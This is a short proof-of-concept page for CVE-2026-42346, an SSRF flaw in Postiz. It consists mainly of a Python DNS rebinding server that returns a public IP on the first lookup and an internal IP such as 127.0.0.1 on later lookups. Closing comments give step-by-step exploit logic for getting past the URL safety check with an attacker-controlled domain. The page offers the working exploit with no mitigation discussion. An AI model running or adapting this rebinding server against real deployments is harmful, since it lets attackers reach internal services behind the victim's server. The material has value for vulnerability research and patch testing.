CVE-2026-42346 Postiz SSRF漏洞

# PoC: DNS Rebinding Server for CVE-2026-42346 # This script simulates a malicious DNS server to exploit the TOCTOU race condition. from dnslib import DNSRecord, DNSHeader, RR, A, QTYPE import socket class DNSRebindServer: def __init__(self, safe_ip, internal_ip): self.safe_ip = safe_ip self.internal_ip = internal_ip self.query_count = {} def handle(self, data): request = DNSRecord.parse(data) qname = str(request.q.qname) qtype = request.q.qtype if qname not in self.query_count: self.query_count[qname] = 0 reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) if qtype == QTYPE.A: # First query returns Safe IP to bypass isSafePublicHttpsUrl() # Subsequent queries return Internal IP for fetch() if self.query_count[qname] == 0: ip = self.safe_ip else: ip = self.internal_ip self.query_count[qname] += 1 reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0)) return reply.pack() # Exploit Logic: # 1. Attacker runs this DNS server. # 2. Attacker sends URL http://attacker-controlled-domain.com to Postiz. # 3. Postiz calls isSafePublicHttpsUrl() -> DNS returns 1.1.1.1 (Safe) -> Check passes. # 4. Postiz calls fetch() -> DNS returns 127.0.0.1 (Internal) -> SSRF occurs.